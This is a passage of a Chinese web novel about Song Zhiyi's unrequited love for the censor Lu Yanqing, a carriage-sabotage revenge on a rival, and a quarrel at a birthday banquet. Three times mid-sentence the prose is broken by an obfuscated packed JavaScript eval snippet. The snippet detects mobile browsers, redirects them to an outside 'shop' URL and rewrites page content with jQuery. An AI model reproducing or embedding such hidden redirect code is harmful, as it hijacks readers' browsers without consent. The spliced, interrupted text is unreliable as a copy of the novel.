举目望一望笑得贼眉鼠眼的老父亲，宋知意撇撇嘴，道：“爹，你有多久没升官了？” 宋平讶异道：“你怎么突然关心起这个来了？” 宋知意掰着指头算计，嘀咕道：“八，九……”忽地撂筷子拍膝感慨：“不算不知道，一算足足有十年了呀！” 十年以来官位纹丝不动，这一直是宋平的一块心病。他唉声叹气道：“谁让我是末流出身。苦心经营大半辈子，得到手的只是别人的起点。真是人比人，气死人呐！” 确实，宋平会说话会做事，有能力，但辛苦几十年，也不过是旁人嘴里没素质没涵养的暴发户。归根结底，便是栽在了他的商贾出身上。所以宋平相当支持宋知意和陆晏清结交，一旦成了，那有百年世家的亲家这层身份做靠山，谁还敢轻视宋家？ “那，爹，你怎么样才能升迁呢？”想起郑筝他爹是三品的侍郎，宋知意有了目标，把身子倾向宋平，“四品不好，三品也不够，最好是二品，工部尚书，一把手，这才威风！” “是，当一把手才长脸，可那比登天还难呦！”宋平命人再取一副干净的筷子，给她摆上，“至于怎么升……倒也不是全无办法。”他玩心起来，故意卖个关子逗她。 宋知意轻易上钩了，眨眨眼：“有什么办法？” 下人前来送筷，宋知意歪着身子让摆，一边催宋平：“爹，到底是什么法子，你快说啊！急死我了！” 宋平伸手指头点点桌子：“先吃菜，都放凉了。” 听话糊弄两口，宋知意继续发问。 “你呢，多在陆二公子身上用心，早日同他结为连理的话，他爹还能不关照观关照我这个亲家？”宋平笑得深了。 吊着的那口气顿时泄完了。宋知意噘着嘴嘟囔：“我是加倍用心，可架不住人家心硬如铁，我说十句回一句半句也就算了，明明是我冤枉，还认我当坏人，一个劲儿地责怪我。那架势，好像我犯了罪，关在他手底下接受拷问似的。” 宋平恍然大悟，他道是哪个人气着她了，敢情是陆晏清啊。宋平笑眯眯道：“陆二公子怎么责怪你了，你跟我说说，我评评理，究竟你们俩谁占理。” “那还用得着评理吗？不是明摆着是我蒙受不白之冤么……”宋知意有个弱处，口风不严谨，尤其是在心情糟糕的情况下，别人随便几句就把心里话全盘套出来了。反应过来说漏了嘴，她立即打住，和她爹大眼瞪小眼。 宋平起了疑窦，问：“那你说说，你受了什么不白之冤。” “……没啥。只是和那些姑娘们开了几句玩笑，陆二哥哥他老古板，错以为我们来真的，吵嚷起来了。我和他比较熟嘛，他就说了我几声。”粉饰太平后，她迅速扒拉干净碗碟里的饭菜，又漱了口擦了嘴洗了手，起身打算回住处，好先发制人，逃避她爹的盘问。 不意迎头磕上一堵“墙”，“墙”还出声了：“哎呦，脑门挺硬的，撞疼我了都。” 她猛抬头，仰视到一个老熟人，立时按着额头躲开来，并尖声尖气道：“这大晚上的，你不在你家里待着，跑我家来做什么？” 看见来人，宋平赶紧站起，搓着手心来迎：“哪股风把薛小少爷给吹来了！家里正好吃饭呢，快快快，薛小少爷请坐下一块吃吧！” 接着支使下人另添碗筷。又看桌上只三菜一汤，怕不够招待的，疾呼人转告厨房，再烧四道硬菜端上来。 宋平如此恭维，薛景珩倒也安心享受，自行寻位置就座。恰好小丫鬟捧上碗筷，他稳稳接于手，随后笑道：“劳驾，再给我倒杯清水吧。” 宋平追着过来，含笑推荐：“前儿我得了些新鲜的龙井，不如让她们抓了泡一杯，薛小少爷尝尝味道正不正。” 薛景珩道：“我不爱喝那个，喝水就行了。” 宋平点头，眼色示意丫鬟下去倒水。接下来嘴也不得闲，问候完薛景珩本人近况，再问候他家里，特别是他母亲祥宁郡主。 “我母亲能吃能喝能骂我，康健得不得了。反而是我——”薛景珩冲着抱着两条胳膊倚靠在门框上的宋知意，一撩眼皮子，“那个家里跟监牢没区别，我不想待了，索性放纵一回，跟我母亲大吵一架。她说不管我了，撵我出家门——正合我意呢。” 闻言，宋知意心也不灰了，意也不懒了，荡下双臂，直直过去。“你怎么了？你再说一遍？” 瞅她似乎要吃人的模样，宋平忙道：“如意，你先别激动，耐心听薛小少爷说完。” “是啊，离家出走而已，别搞得那么严重嘛。”不止言语劝慰她，薛景珩还上手拉她坐下。 她一把甩开他：“哦！你少爷脾气，一摔手一抬脚出来，直接就奔我家了……你最好不要对我说，今晚踏足，是想在我家住。” “难得啊，难得，你终于聪明一回了。”薛景珩拍手赞叹，“以咱们俩的情分，你肯定得收留我。”洋洋得意着，向宋平投诸眼神，寻求认同：“是吧，宋叔。” 宋平慷慨道：“那是。我现在就派人把东边的院子打扫出来，薛小少爷想住多久便住多久。”言尽，即刻叫王贵进来，如此这般安排妥帖。 一时，另外四个硬菜上了桌。宋平热情招待薛景珩，薛景珩亦不拿自己当外人，全程松弛回应。 反观宋知意，吃不下喝不下，更坐不住，欲离开，被薛景珩牵绊住，有理有据地表示他宋家不熟，过会得由她领着去那院子；宋平也附和，要她多多照顾他。他们两张嘴一条战线，她寡不敌众，不情不愿应付了事。 “……麻烦精。”她是惹祸精，他也出息不到哪里去。果然是人以类聚，臭味相投。 薛景珩是跑惯了的，没有赖床的习惯，翌日清晨，早早起床。先在住所里里外外看了一遍，很是称心，后背着手，轻车熟路去宋知意的院子，隔着窗牖喊：“别睡了，陪我出去逛。” 因胳膊负伤，又向何嬷嬷告了三日的假。何嬷嬷倒没说什么，郑筝那帮人私下里可是一顿冷嘲热讽，说宋知意别的本事没有，皮子无人能及地娇嫩，三天两头挂彩，忒矫情了。 宋知意在床上翻了个身，又拽起被子盖住脸，迷迷糊糊道：“你自己去，不要烦我。” “听话起来开门，我就给你报仇。”薛景珩敲敲窗户。 报仇？困意荡然无存，宋知意爬起来，揉着眼睛看窗子：“你报哪门子仇？” “我一清二楚了，你被郑筝暗算，摔了跟头，还叫陆晏清训了半天。”薛景珩转身，非礼勿视。 宋知意不以为然： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608990|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你都无家可归了，拿什么替我报仇？闭嘴吧，免得让我笑话你。” “你以为我在京城这些年是白混的？”薛景珩扬扬脖子，很是意气风发，“郑筝是个姑娘家，我不欺负。那她的债，就让她亲哥偿还吧。” 宋知意上了心，紧忙洗脸梳头，完了开门放他进来，详细了解他的计划。 薛景珩翘着二郎腿，哂笑道：“郑辉那家伙，本性难移，才结束一个月的禁闭，又偷摸着去了金运坊。我嘛，也不费其他的力气，只打发个人到他老子面前通风报信，他老子自会收拾他。我这叫隔岸观火，借刀杀人。怎么样？” 宋知意颇为嫌弃：“与我结仇的是郑筝，总逮着她哥整，我这气依然出不到地方。” “简单。”薛景珩道，“她不是曾卸松了你的车轱辘，还伸手推了你么？原封不动还给她就是了。” 宋知意会意，眼前一亮：“你是指，找机会把她车子的轮子弄坏，害她坐不了车，一步一步走回家去？”她摸着下巴点点头，“那也行。郑家离陆家三条街呢，有她走的了。” “你就这么点出息？”薛景珩不留情面嘲笑她，“我的意思是：找人在她车轮子上动完手脚，偏偏对外不露名堂，等车子赶到大街上，一边轮子一松，失了平衡，翻车是必然的。郑筝先前使坏推你，害得你血淋淋的，不让她也跌够呛，那还谈什么报仇。这就叫，以彼之道，还施彼身。” 大街上翻车，那里边的人该摔多惨啊……郑筝固然可恨，也罪不至此吧。宋知意迟疑不决：“会不会有点过分了？万一有个三长两短……” 薛景珩道：“我交给文进，他是这方面的专家，把握得好尺度，顶多给人磕一下碰一下，不会收不了场的。” 文进这人本领不小，任他操办，宋知意大可放心了。“成，就给她个教训。” 文进的办事效率没得挑剔，当天傍晚便传回“郑家马车‘意外’侧翻，郑筝轻微受伤”的消息，喜得宋知意扬眉吐气，接连称好。 由此，看投奔而来的薛景珩也不讨厌了，自掏腰包请他去会云楼大餐一顿庆祝。 因为开心，要了会云楼的招牌佳酿，两人推杯换盏饮了个痛快。却是顾前不顾后，两人酒量有限，双双醉倒。 芒岁和文进，各自扶着各自主子，吃力出门，竟巧遇跟同僚聚会散场的陆晏清。 “小陆大人……”芒岁一阵阵心虚，头上冒着虚汗。 见陆晏清与绯闻对象凑上，同僚们有眼色，纷纷告辞。余下陆晏清，睥睨那酩酊大醉的一对青梅竹马，冷然一笑：“看来你们家姑娘没什么大碍，病假只是为偷懒编造的借口而已。” 芒岁紧急开脱：“不不不！姑娘她是真伤着不方便，连抬胳膊这等小事也……” “不必解释。”陆晏清侧身，侧颜沉定，“上不上课，用不用功，那是她自己的事。”然后命令春来：“走，回家。” 芒岁没胆量阻拦，眼见着他下了楼。 及出了外面，春来嘴皮子松，不合时宜地提起薛景珩与家里闹掰，离家出走，而去宋家落脚的事情。 默然片刻，陆晏清沉声道：“未婚男女，同住一处。随随便便，不成体统。” 春来顺嘴纠正：“没有住一处，听说是分了院子住的。” 陆晏清突然回头，直视春来：“所以你觉得，未婚男女日夜厮混，合情合理了？” 春来认怂：“公子教训得是，这事确实……不合理，太招摇了……” 察觉自己锋芒太过，而这锋芒显露得不明不白，莫名其妙，委实令人费解。他索性也不继续为难自己，以一次吐息，平缓心绪，翩翩然上了马背，打马离去。 19. 你情我愿 陆晏清和宋知意冷战这几日，崔璎表现得极为积极，每天早上出门送陆晏清上值，晚上再到大门口迎接他回家，末了还要同他在陆夫人那用膳。一天下来，见三四回，崔璎脸上的笑显然比以往多了。 崔璎又漂亮又温柔，陆晏清一日两日抵抗得住诱惑，无心风月，那时间长了，他会不会动摇，谁都不敢保证。冷眼旁观下来，周氏觉得不能坐以待毙，为了成全宋知意的一腔痴情，得抓紧去陆夫人跟前提一提，给崔璎介绍自己远房表弟那事。 周氏是个急性子，趁这日早上过去请安的时候，拐弯抹角地向陆夫人说出来。 陆夫人吃了一口茶水，略加沉吟，才道：“去年这阵子方行了及笄礼，也不着急。” 周氏察言观色，笑得很是得体：“我也是前些日子上街，正好碰见了我那表舅妈，因多日没见，一块坐下来聊了聊，就聊起了我表弟，说他十九了，一心扑倒在治病救人上，就一直耽误了人生大事。表舅妈只这么一个儿子，免不得着急，所以就托我，有时间过去劝一劝。我答应去了，一眼瞧见他，真个是玉树临风，谈吐也不俗。不是我故意吹嘘自己亲戚，以他的品貌，配得上崔妹妹的。但是崔妹妹毕竟是母亲的外甥女，究竟如何，便先来征求您的意见。” 周氏不轻易夸人，当前把她表弟好一顿夸，不由勾起了陆夫人的好奇。放下茶，问：“你说他是从医的，那他是在别人手底下当差呢，还是自己个儿开医馆呢？” 陆夫人既问，那便说明这事有谱。周氏忙笑道：“非但是自己开医馆，而且分店也有好几家呢，都是在京城，繁华地段。不是这等的家底子，我断没脸到母亲面前来提。” 想了想，陆夫人又说：“他那医馆叫什么？我这不消化的毛病也许多年了，看过的大夫吃过的药数都数不过来，不妨抽空去他那看一看。” “是叫杏和堂。”周氏按捺住雀跃之心，“不过何必亲自去呢？既有这层亲戚关系，让他带好东西上府里来替您看诊就是。母亲看看哪天方便，我嘱咐个人提前告知他。” 陆夫人掐指一算，说了个日子。周氏笑答：“好，我记下了。” * 病假到期，宋知意整理心态，早起去陆家女学报道。 仗着在宋家有吃有喝，薛景珩依然硬气，坚决不肯和祥宁郡主低头认输，宽心把宋家当自己家，不是和宋平高谈阔论，就是和宋知意嬉戏玩闹，十足自由自在。 今天得知宋知意闲散日子到头，该去陆家活受罪，横竖他百无聊赖，于是打算送她一程，完了顺路上会云楼同几个世家子弟摆个局消遣光阴。 禁不住他软磨硬泡，宋知意勉强答允。 二人并肩出门，漫步街头。 薛景珩说：“今后很长一段时间，郑筝都不会在你眼前耀武扬威了。” 宋知意偏头，含笑挖苦他：“她受的那点子伤，药都省了，哪里用得着那么久调养？你是没睡醒，说梦话的吧！” “我这板板正正、意气风发的，像是没睡醒？”薛景珩弹了她个脑瓜崩儿，不慎下手重了，她额头立刻泛了红。她捂着痛处，使劲捶了下他肩膀，啐道：“你小子，朝我下死手……你犯什么毛病了？” 薛景珩赶忙摆手讨饶：“对不住，对不住，我这真不是存心的。”又把胳膊伸过去，“你打我几下，我们扯平。” “挡着路了，起开点。”她也没和他来真的。 薛景珩听话让开，又偷偷看她脸色，发觉她恢复平常，总算放了心，再度提及刚刚的话题：“我认真的，郑筝绝对没工夫过来骚扰你——她哥那个蠢的，又闯祸了，和一堆赌徒凑一起，大吃大喝。酒酣耳热时，妄议朝政，殊不知隔墙有耳，被有心人一举告发到御前，龙颜大怒，当即把奏折摔到郑侍郎脸上，叫他不用来衙门了，几时把竖子管教好几时回去办公。郑家乱成一锅粥，郑筝又哪来的心气上学听讲呢。” 其实，郑家被郑辉搅得乌烟瘴气，郑筝越发想出去避避，无奈郑侍郎下了命令，即日起不准郑家人外出见人，即使闭门在家，也须时刻注意言行。生怕哪个人失言，再被人捅到御前。 宋知意对郑辉那个赌徒以及郑家，特别厌恶，明明白白幸灾乐祸：“活该。” 言毕，陆家宅邸跃入眼帘，而那高高的围墙底下，立着两个影子，一绿一粉，一高一矮，极为惹眼。 “姨妈说，今晚打算亲自下厨，做表兄爱吃藕粉丸子。丸子凉了就不好吃了……表兄记得早点回家。”崔璎身着桃粉罗裙，两腮如衣裳，敷出一层薄粉色。 “节后公务繁忙，下值无定时。麻烦表妹转告母亲，最近晚饭不必等我。”陆晏清瞥一眼照常检查马鞍的春来，“好了没有？” 春来刚好撂开手，回：“好了，公子可以上马了。” 陆晏清颔首，管春来取了官帽戴了，再左右调整端正，垂下手臂，手搭马背，预备上去。 “表兄……”此时，崔璎弱声道。 陆晏清不理会，利落上了马背，方才从高处睨她，不发一言，只等她下文。 崔璎有一紧张就揉搓手帕的习惯，现在陆晏清高高在上而沉默寡言的表现，令她捉摸不透。人对未知的东西，免不得会慌张。她一手团着手帕，另一手小幅度地、慢慢地撕扯它。口吻亦同动作一般，不敢张扬，小心翼翼：“姨妈难得下一回厨，错过了好遗憾的……衙门那边当真通融不得吗……？” 陆晏清面无表情道：“并非通融不得，实是我不愿求通融。我领着朝廷的俸禄，自当克己奉公，鞠躬尽瘁，为陛下效力。若我随随便便以私乱公，一来辜负陛下对我的信任，二来愧对时时坚守岗位的同仁，三来有损陆家颜面。无论从哪个方面，都绝无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623820|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能徇私。”他执起缰绳，“表妹可还有其他事？” 崔璎被说教得有些尴尬，牵强一笑：“是我不懂事，给表兄添乱了……表兄注意安全。” 陆晏清昂首，拨转马头，终于发现远处观望的几个熟人，只看一眼，便移目向正前方，御马上路。 宋知意看在眼里，并不出声打招呼，而转头对薛景珩说：“我到了，你自便吧。” 偏偏，陆晏清兜住马鞍，于她身侧缓缓停下，斜视薛景珩：“昨日路遇薛翰林，薛翰林托我向二公子转达，郡主着急上火，很不好，要二公子别胡闹了，有点担当，尽早归家，以安长辈之心。” 薛景珩嗤之以鼻：“我哥又不是不了解我的去处，有话可以自己跟我说，何苦劳烦陆大人。” “我乃受人之托，忠人之事，并无指点迷津的义务。”薛景珩是小孩子脾气，不值得跟他争论，按照陆晏清往昔的处事风格，一定是宽宏大量，话带到就算，但此时此刻，他觉得有必要教一教薛景珩为人处世的道理，“我朝风气开放，可未婚男女随便交往，甚至同吃同住，到底不予提倡。薛二公子身为男子，随心所欲或许影响不大，然这事搁在宋姑娘身上，未免毁坏清誉，令人难堪。回不回家，几时回家，薛二公子还是深思熟虑一番为好。” 薛景珩笑了：“不提倡未婚男女交往，难道提倡已婚男女交往吗？再来，我和宋如意玩了十几年，满京城谁不知道我们俩是怎么回事，哪来的‘毁坏清誉’？陆大人，一本正经是好事，但插手别人已经你情我愿的事，还要求别人像你似的，那就有点不讨喜了。” 陆晏清眼风掠过薛景珩，宋知意波澜不惊、静若止水的脸，赫然在目，她明显不反对薛景珩的歪理邪说。说她随随便便、不知羞耻，真是一点没错。 “既然二位是你情我愿，那么，恕我适才越俎代庖之过。告辞。”他转正视线，绝尘而去。 挤兑走了陆晏清，薛景珩沾沾自喜，把脊梁骨挺得更直，堪比一株松树。他顺手同宋知意勾肩搭背，眉飞色舞道：“你中午想吃点啥，到时候我从会云楼给你打包回来。” 宋知意闪开，忽忽不乐道：“我回家吃，你只管好自己，我就阿弥陀佛，谢天谢地了。” 她因何郁闷，薛景珩心里门儿清，讪笑道：“这会你又心疼你的陆二哥哥，怨我怼他了？那天你被他拿捏，忍气吞声的屈辱，合着你全忘光了呗？哧……宋如意，你真是不稂不莠，陆晏清不欺负你，才怪了。” “你讨打是不是？”不争气的心事被揭穿，宋知意恼羞成怒，作势挥拳揍他。薛景珩不触她霉头，一溜烟逃了。 该走的全走了，单剩下个宋知意，崔璎自觉没趣，转身回府准备一会儿课堂点名。 宋知意同样觉得晦气，大大翻个白眼，略在外等了等，确保追不上崔璎，才跨过角门入内。 20. 炎炎三伏 周氏的远房表弟姓万，单唤一“廷”字。打从那天周氏着人传来信，万廷就对去陆家这事相当重视，反省自己平常衣着朴素，怕在陆家丢脸，于是提前花钱做了几身衣裳，到了正式日子，熨烫平整，披挂上身，衬得他长身玉貌，更加出彩。他母亲打量了直点头赞叹：“我儿好面貌，好气质，好风范！” 周氏记挂着今日的正头戏，出二门外亲自接引万廷。姐弟两个一顿客套。同行至陆夫人房外，刚好丁香掀帘子让出崔璎来。那万廷也是个重规矩的人，加上深入别家内院，始终谨慎着，当下冒出个闺阁小姐来，绝不敢冲撞，早退出三尺开外，垂头回避。 大白天突然进来个男人，崔璎吓了一跳，抬袖遮脸，忙忙往屋里躲避。见状，周氏笑说：“妹妹别惊慌，他不是登徒子，是我的表弟，是个医生，专程来家里给母亲诊脉看病的。” 崔璎这才停住脚步，窥视远处的男人，看他挎着箱子，依稀可闻药香气，渐渐卸下防备，接周氏的话茬：“姨妈在里面小憩呢，嫂嫂请进去吧。我还得去西院，先走了。” 周氏笑吟吟道：“好，妹妹慢走。” 及崔璎离了院子，周氏拿胳膊肘碰一碰万廷，朝崔璎远去的方向努嘴：“怎么样，没见过这等容貌的姑娘吧？” 万廷如实道：“非礼勿视，我没敢乱看，所以无法回答表姐的问题。” 周氏哭笑不得：“怨不得你母亲愁呢！谁有你这么个呆儿子，谁也笑不出来！得了，闲话少叙，进屋吧。” 却说万廷进退有度，言语谦卑，不论医术如何，陆夫人已然对了几分心意了。及送走万廷后，对周氏说：“果然是你的表弟，不骄不躁，于今天这个世道而言，很是可贵。” 周氏谦虚一番，又说起将才万廷坚决不肯冒犯崔璎的事情。陆夫人听着微微点头：“不错，是个端正的孩子。” 周氏趁机进言：“下个月不是二弟的生日吗？我想着，把万廷叫过来，大家红火热闹。不知母亲意下如何？” 陆夫人道：“我没什么不赞成的。那孩子和晏清年纪相仿，性子也稳重，聊得来，就让他们几个年轻人开心开心吧。” 周氏喜上眉梢。 一时陆夫人杯子里的水见底，周氏手快，抢在丁香前头提了水壶来添水。末了又说为陆夫人捏肩放松。——很是卖力讨陆夫人欢心。 俗话说天底下没有不透风的墙，这边周氏奋力撮合万廷崔璎没几日，那边闲言碎语就在下人们中间传起来了。绘柳听罢，急匆匆向主子禀报。惊得崔璎手一滑，打碎了茶盏。绘柳忙唤小丫头进来清扫，一面关心她烫没烫着。 崔璎怔愣良久，苦笑道：“我说呢，放着张大夫不请，却另外请人……原来是醉翁之意不在酒。” 绘柳气愤道：“都是大少夫人的主意，为了那个宋姑娘的痴心妄想，急不可耐地把姑娘嫁出去。大少夫人怎么偏心眼偏到这步田地？简直太不像话了！” 崔璎自嘲道：“怪只怪我姓崔，不姓陆。不论我多约束检点言行，永远做不到他们的心坎里。我就是个外人。” “姑娘……”绘柳心疼死了。 “事实如此，自怨自艾，徒增烦恼。”崔璎转身，望着梳妆镜里自己的倒影，“从小到大，我只对一人倾心，其余人再优秀，我也不稀罕。” 绘柳疑惑：“姑娘……？” “我和表哥，十多年来低头不见抬头见，以这份感情，我不信他对我无动于衷。”崔璎敛藏失意，目光如炬。 绘柳益发糊涂，挠头道：“姑娘想做什么？” 崔璎道：“我要为我这么多年的心意拼一把。下个月的生辰宴，便是个好机会。” * 陆晏清的生日与他清冷的秉性截然相反：二十一年前的三伏天里，他呱呱坠地；哭音嘹亮，绕梁三日。 同样的日子，同样的酷热，宋知意坐着车子，打着扇，和宋平天南地北闲扯着，赶往陆家赴宴。 其实，陆晏清的生日宴，她因不久前他害她在郑筝面前丢脸，依然不舒坦，有所犹豫参不参加；是有一天下学后，周氏留下她，推心置腹规劝了半天，大意是：她心高气傲这些天，崔璎可热情似火。这人与人之间就怕比，比来比去，八成是她吃亏。因此，如果她仍对陆晏清有那份心的话，应该胸襟敞亮点，别为一点鸡毛蒜皮的小事纠结，省得来日自己后悔。 她听进心窝里，回去调理几日，算是把自己哄好了。这不今儿就带上千挑万选的贺礼，前来祝寿了。 作为监察御史，陆晏清以清正廉明为原则，随时以身作则，今日他自己的生日宴亦不例外——他做主，谢绝众世家大族、朝廷命官，只邀请衙门里的同僚、在太学时亲厚的同窗，以及陆家在京城的五服之内的亲戚参与。而宋家，本不在他的考虑范围，是陆晏时周氏两口子晓之以理，动之以情，他不便驳他们夫妻，勉强应允。 饶宾客不多，陆家门外的巷子仍然没有可以落脚之处。到底托了周氏的福，宋家父女跟随接引，畅通无阻入内。宋平去前厅，宋知意一路来至东院，见上了周氏。 周氏打扮得贵气而不抢眼。她示意金香好生接了贺礼，宋知意还护着不给。她无奈笑道：“我是看你一直抱着它，怕累着你，先叫你腾腾手松快松快，又不抢你的，那么防着我做什么。” 宋知意亲手端给金香，抿嘴一笑：“不是，我不是防着嫂嫂，我是防着这盒子里的字帖磕着碰着，它金贵着呢。” 周氏奇道：“一幅字帖，能有多金贵？” “是前朝一个书法大家的真迹，千金难求呢。我爹打拼大半辈子，属这个拿得出手，我磨了他好几日，他才忍痛割爱，给了我。嫂嫂你说，它金不金贵？” 周氏啧啧称奇之余，打趣她：“你对我们家那个木头桩子，可谓用足了功夫。待会拿给他，他若表现得不咸不淡的，我头一个不依。” 离开宴且有一阵，周氏便拉着她进屋，饮一碗冰沙解暑。中途又瞧她妆容太素，不符合她往日的风格，一问方知是刻意模仿了崔璎的清水出芙蓉，期望陆晏清另眼相待。 “好端端的，你模仿她作甚？我那表妹身形瘦弱，五官也淡，浓妆艳抹了不好看；你不一样，你骨肉亭匀，样貌明媚，就要华丽些才好。”周氏热心肠，说着便按她在梳妆凳上，蘸取胭脂水粉描画她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632107|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸，又慷慨贡献出几大匣子的首饰，挨个儿在她头上试。 及改头换面后，已值正点，二人手挽手，前边丫鬟牵着周氏一双儿女，一行人往前厅见陆夫人陆老爷。 彼时，宋平跟御史台众官员叙过寒温，便寻着陆老爷，侃侃而谈，总之绝不让场子冷了。 宋平那般阿谀奉承，陆晏清膈应且鄙夷，上前向陆临谦恭道：“父亲，儿子先去招待同僚，失陪了。” 陆临尚未张嘴呢，宋平笑出一堆褶子，说：“近来我们家如意还乖巧吧？没再给二公子添麻烦吧？” 陆晏清埋下轻蔑，不冷不热道：“令嫒在西院女学，受何嬷嬷的规训，即便麻烦也是麻烦何嬷嬷，何必将我牵扯进来。” 这陆晏清，连当今圣上也比他平易近人不少，当真不辜负他朝中第一刺儿头的名声。宋平笑着点点头，继续恭维他：“是是是，要不说还是多点读书好，能像二公子这样满腹经纶、有条有理。像我，略认得几个字，那些大道理啊，读都读不通顺，粗鲁野蛮。”同时朝陆临竖起大拇指，“陆大人的两位公子，俱是凤毛麟角，国之栋梁。陆大人真是教导有方啊！” 陆晏清看够了宋平那张谄媚嘴脸，又对陆临低眉道：“父亲，儿子出去了。” 这回陆临没容宋平见缝插针，颔首道：“去吧。” 陆晏清往外走时，宋平对他的仪态赞口不绝。陆临一样是两袖清风、人人称颂，分外反感别人对他溜须拍马，当下已显出几分厌倦。宋平火眼晶晶，立刻收敛面目。结果陆夫人在屏风边招手唤陆临，宋平不便挽留，请他自便。 御史台诸人里，有个叫杨茂的，是陆晏清昔日同窗，两人投缘。此刻，陆晏清和各位同仁打过招呼，就随杨茂步上游廊，彼此漫谈。 杨茂环顾周围，见亭台楼阁，丹楹刻桷，不禁叹道：“在外边看，陆府已然是庄严气派，没想到里边更是别有洞天。不愧是百年世家！” 陆晏清富贵不淫，不喜奢靡，对这些身外之物，从不讲究。他置之一笑，复谈起公事。 “好不容易得个闲，陆兄就休提公事了。”杨茂道，“对了对了，这也不早了，怎的不见那位宋家姑娘？”杨茂笑一笑，“你们俩，又生嫌隙了？” 陆晏清蹙眉道：“什么叫‘又’？” 杨茂刚要开口，绘柳搀扶崔璎，迎面过来。杨茂认得崔璎，料想她是奔陆晏清而来，识趣站开两步。 果然崔璎在陆晏清眼前驻足，却是面色潮红，眼神迷离。 “她怎么了？”陆晏清问绘柳。 “姑娘高兴，吃了半杯酒……然后就这样了。”绘柳干笑道。 陆晏清侧身避至一旁，确使那空间足以容她们主仆畅然通过。绘柳也的确带着崔璎挪步了，然始料未及的是，崔璎突然朝他靠拢过来。仅仅弹指一挥间，胸前倒下个人来，那人还念念有词：“表哥……安之哥哥……”——声声入耳。 长廊另一端，赫然站着宋知意、周氏、满满、团团以及一干丫鬟婆子。 团团遥指前方重叠的人影，满容纯然地问满满：“哥哥，小叔和小姨，搂在一起呢。他们在做什么呀？” 21. 公然决裂 陆晏清放任崔璎依附胸前，抬眼和宋知意对上视线。那眼色，光明磊落，仿佛他们表兄表妹公然拥抱是一件很正常的事。 那她之前不过是说话时离他近了些，却被他批评“有伤风化”，又算什么呢？ 她一步一步趋近，眼睛里通通是那卿卿我我的画面。愤怒、委屈、哀怨……无数种情绪郁结在胸。她越走越快，最终一把扯开崔璎，并顶替崔璎，站在他面前，仰头瞠目，一字一句道：“你们在做什么？” 她那一拽一丢，崔璎直接被甩出去两步，险些栽跟头，幸好绘柳出手迅速，抱住崔璎胳膊，帮其稳住重心。 “姑娘……”亲眼确认崔璎安然无恙，绘柳扭头指控元凶：“宋姑娘，我们姑娘差点就因为你受伤了！你是来搅局的吗？！” 宋知意没意思搭理她，双目一眨不眨盯着陆晏清，语速很慢：“陆二哥哥，你解释一下，你们两个在做什么？” 视线以下，是他自己的面孔，很平，很静，很淡——从她浓墨般的瞳孔里倒映出来。她历来如此，如此不加掩饰地凝视他，只是，此前是饱含少女情思的，一眼望到底，现下种种情愫交织混合，于她眼里汹涌澎湃，他一时难以辨别它的底色究竟如何。 尽管看不透她，但以常理来判断，他笃定，她正在对自己宣泄着不平之气，起因是自己抱着崔璎。 有点可笑。他又不是她的谁，她凭什么冲他撒气，还要求他的解释？ 对付此类无理取闹，以及往后来自于她的无穷无尽的祸患，最好的办法显然是将计就计，快刀斩乱麻。哦，倒是同他适才明明看见了前头伫立的她，而没有立即推开崔璎的举动，不谋而合了。 权衡以后，陆晏清傲视她，漠然启齿：“与你何干？” 他想，她如若还存着一丁点羞耻之心，势必不能容忍，他便从此清净了。 寥寥四字，宋知意品了又品，仍然不能了悟，反问：“陆二哥哥，我在等你解释呀，可你居然说与我无干？” 陆晏清这时候又有耐心了，重演刚才的冷酷，重述刚才的话：“嗯，与你无干。” 他的残忍，连杨茂都不忍直视，背过身子，独自长吁短叹。 “陆二哥哥？”一向聪明伶俐的宋知意，怎么也听不明白他的话了，执拗道：“为什么与我无干？” 绘柳忍无可忍，冲着她大喊大叫：“宋姑娘是听不懂人话吗？二少爷不喜欢你，烦透你了，所以二少爷和谁说话，和谁接触，一概与你不相干。你还一次次胡搅蛮缠，问个没完。宋姑娘，请你顾着点颜面吧！你不嫌丢人，旁人还呢！” 绘柳痛骂自家姑娘，芒岁当然不干，挺身而出，叉腰回骂：“你才不要脸！我们姑娘是什么身份，你是什么身份，你胆敢指手画脚，口出狂言？”她一瞥歪在绘柳身边的崔璎，冷笑道：“真是知人知面不知心，平日里端方有礼的大家闺秀，竟然当着大家伙的面，扑在人家怀里……” “够了。”陆晏清形容紧绷，看得芒岁打了个寒颤。转眼瞪一瞪绘柳，悻悻退回宋知意旁边。 周氏自惊愕中抽离，忙忙前来，一边托起宋知意的手，发觉冰冰凉，不觉一阵心疼，一边正视陆晏清：“一过来就看见你们俩……二弟，你说说，这是怎么一回事？” 陆晏清泰然处之：“如嫂嫂所见。” “所以，”宋知意用指甲死掐着手心，忍住歇斯底里的冲动，“是崔璎先抱的你，还是你主动抱的她？” 